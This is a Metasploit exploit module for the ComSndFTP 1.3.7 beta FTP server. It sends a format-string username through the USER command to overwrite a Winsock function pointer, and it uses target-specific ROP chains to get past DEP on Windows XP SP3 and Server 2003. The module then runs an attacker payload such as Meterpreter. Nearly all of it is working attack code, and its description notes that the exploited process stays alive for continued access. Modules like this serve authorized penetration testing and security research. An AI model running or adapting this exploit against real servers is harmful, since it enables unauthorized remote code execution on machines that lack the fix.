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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'          => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',
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      'Description'   => %q{
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          This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially
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        crafted format string specifier as a username. The crafted username is sent to the server to
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        overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
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        is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
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        The SEH exit function is preferred so that the administrators are not left with an unhandled
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        exception message. When using the meterpreter payload, the process will never die, allowing
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        for continuous exploitation.
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      },
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      'Author'        =>
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        [
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          'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc
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          'rick2600 <rick2600[at]corelan.be>',               # msf module (target XP)
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          'mr_me <mr_me[at]corelan.be>',                     # msf module (target 23k)
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          'corelanc0d3r <peter.ve[at]corelan.be>'            # msf module
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        ],
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      'Arch'          => [ ARCH_X86 ],
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      'License'       => MSF_LICENSE,
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      'References'    =>
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        [
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          # When a DoS is NOT a DoS
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          [ 'OSVDB', '82798'],
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          [ 'EDB', '19024']
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'seh'
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        },
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      'Platform'      => ['win'],
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      'Privileged'    => false,
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      'Payload'       =>
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        {
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          'Space'            => 1000,
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          'BadChars'         => "\x00\x0a\x0d",
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          'StackAdjustment'  => -3500,
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          'DisableNops'      => 'True'
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        },
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      'Targets'       =>
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        [
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          [
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            'Windows XP SP3 - English',
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            {
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              'Functionpointer'   => 0x71AC4050,  # winsock pointer
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              'Functionaddress'   => 0x71AB2636,  # the repair address
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              'Pivot'             => 0x00408D16,  # 0x004093AE-0x698 add esp, 72c ; retn
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              'Pad' => 568
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            }
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          ],
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          [
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            'Windows Server 2003 - English',
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            {
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              'Functionpointer'   => 0x71C14044,  # winsock pointer
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              'Functionaddress'   => 0x71C02661,  # the repair address
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              'Pivot'             => 0x00408D16,  # 0x004093AE-0x698 add esp, 72c ; retn
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              'Pad' => 568
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            }
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          ]
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        ],
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      'DisclosureDate' => '2012-06-08'))
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    register_options(
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      [
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        Opt::RPORT(21),
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      ])
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  end
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  def check
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    connect
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    banner = sock.get_once || ""
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    disconnect
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    validate  = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
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    validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
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    validate << "\xf1\xc6\xf7\x21\x0d\x0a"
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    if banner.to_s == validate
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def junk(n=4)
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    return rand_text_alpha(n).unpack("V").first
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  end
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  def exploit
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    rop = ''
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    if target.name =~ /Server 2003/
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      # C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959
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      rop = [
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        0x77be3adb, # pop eax ; retn
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        0x77ba1114, # <- *&VirtualProtect()
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        0x77bbf244, # mov eax,[eax] ; pop ebp ; retn
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        junk,
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        0x77bb0c86, # xchg eax,esi ; retn
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        0x77be3adb, # pop eax ; retn
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        0xFFFFFBFF, # dwSize
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        0x77BAD64D, # neg eax ; pop ebp ; retn
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        junk,
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        0x77BBF102, # xchg eax,ebx ; add [eax],al ; retn
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        0x77bbfc02, # pop ecx ; retn
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        0x77bef001, # ptr that is w+
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        0x77bd8c04, # pop edi ; retn
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        0x77bd8c05, # retn
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        0x77be3adb, # pop eax ; retn
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        0xFFFFFFC0, # flNewProtect
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        0x77BAD64D, # neg eax ; pop ebp ; retn
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        0x77be2265, # ptr to 'push esp ; ret'
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        0x77BB8285, # xchg eax,edx ; retn
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        0x77be3adb, # pop eax ; retn
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        0x90909090, # nops
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        0x77be6591, # pushad ; add al,0ef ; retn
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      ].pack("V*")
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    elsif target.name =~ /XP SP3/
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      # C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512
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      rop = [
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        0x77C21D16, # pop eax ; retn
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        0x77C11120, # <- *&VirtualProtect()
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        0x77C2E493, # mov eax,[eax] ; pop ebp ; retn
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        junk,
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        0x77C21891, # pop esi ; retn
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        0x77C5D010, # ptr that is w+
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        0x77C2DD6C, # xchg eax,esi ; add [eax],al; retn
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        0x77C21D16, # pop eax ; retn
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        0xFFFFFBFF, # dwSize
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        0x77C1BE18, # neg eax ; pop ebp ; retn
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        junk,
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        0x77C2362C, # pop ebx ; retn
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        0x77C5D010, # ptr that is w+
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        0x77C2E071, # xchg eax,ebx ; add [eax],al ; retn
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        0x77C1F519, # pop ecx ; retn
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        0x77C5D010, # ptr that is w+
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        0x77C23B47, # pop edi ; retn
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        0x77C23B48, # retn
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        0x77C21D16, # pop eax ; retn
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        0xFFFFFFC0, # flNewProtect
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        0x77C1BE18, # neg eax ; pop ebp ; retn
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        0x77C35459, # ptr to 'push esp ; ret'
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        0x77C58FBC, # xchg eax,edx ; retn
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        0x77C21D16, # pop eax ; retn
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        0x90909090, # nops
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        0x77C567F0, # pushad ; add al,0ef ; retn
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      ].pack("V*")
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    end
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    stage1 = %Q{
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      mov eax, #{target['Functionpointer']}
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      mov ecx, #{target['Functionaddress']}
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      mov [eax], ecx
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    }
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    offset_wp = rand_text_alphanumeric(1)
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    pivot     = target['Pivot']
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    offset    = target['Pad'] + rop.length + stage1.length + payload.encoded.length
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    attackstring  = rand_text_alphanumeric(7)
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    attackstring << [target['Functionpointer']].pack('V')
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    attackstring << "%#{pivot}x"                          # special pointer to our pivot
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    attackstring << "%p" * 208 + "#{offset_wp }%n"        # format specifiers to read and write the function pointer
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    attackstring << rand_text_alphanumeric(target['Pad'])
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    attackstring << rop
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    attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string
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    attackstring << payload.encoded
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    attackstring << rand_text_alphanumeric(2000 - offset)
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    attackstring << "\r\n"
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    sploit = "USER #{attackstring}\r\n"
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    print_status("Triggering overflow...")
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    connect
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    sock.get_once(1024)
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    sock.put(sploit)
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    select(nil, nil, nil, 2)
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    handler
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    disconnect
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  end
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end
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